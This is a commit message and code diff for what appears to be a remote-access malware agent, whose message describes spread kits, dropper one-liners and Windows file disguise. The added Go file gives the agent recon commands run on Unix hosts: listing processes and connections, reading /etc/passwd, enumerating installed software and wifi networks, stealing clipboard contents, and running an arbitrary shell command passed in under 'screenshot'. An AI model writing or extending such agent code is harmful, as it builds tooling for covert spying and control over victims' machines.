Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/client/commands_unix.go

@@ -0,0 +1,53 @@
+//go:build !windows
+
+package client
+
+import (
+	"os/exec"
+	"strings"
+)
+
+func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
+	var out []byte
+	var err error
+	switch action {
+	case "ps":
+		out, err = exec.Command("ps", "aux").CombinedOutput()
+	case "netstat":
+		out, err = exec.Command("ss", "-tunap").CombinedOutput()
+		if err != nil {
+			out, err = exec.Command("netstat", "-an").CombinedOutput()
+		}
+	case "users":
+		out, err = exec.Command("/bin/sh", "-c", "id; echo; cat /etc/passwd 2>/dev/null | head -40").CombinedOutput()
+	case "software":
+		out, err = exec.Command("/bin/sh", "-c", "(dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || brew list 2>/dev/null) | head -80").CombinedOutput()
+	case "screenshot":
+		if command != "" {
+			out, err = exec.Command("/bin/sh", "-c", command).CombinedOutput()
+		} else {
+			return true, false, "screenshot not supported on this platform without custom command"
+		}
+	case "sysinfo":
+		out, err = exec.Command("uname", "-a").CombinedOutput()
+	case "ipconfig":
+		out, err = exec.Command("/bin/sh", "-c", "ifconfig 2>/dev/null || ip addr").CombinedOutput()
+	case "clipboard":
+		out, err = exec.Command("pbpaste").CombinedOutput()
+		if err != nil {
+			out, err = exec.Command("xclip", "-o", "-selection", "clipboard").CombinedOutput()
+		}
+		if err == nil {
+			return true, true, strings.TrimSpace(string(out))
+		}
+		return true, false, "clipboard read unsupported on this host"
+	case "wifi":
+		out, err = exec.Command("/bin/sh", "-c", "networksetup -listallhardwareports 2>/dev/null; nmcli dev wifi list 2>/dev/null | head -20").CombinedOutput()
+	default:
+		return false, false, ""
+	}
+	if err != nil {
+		return true, false, formatCmdErr(err, out)
+	}
+	return true, true, string(out)
+}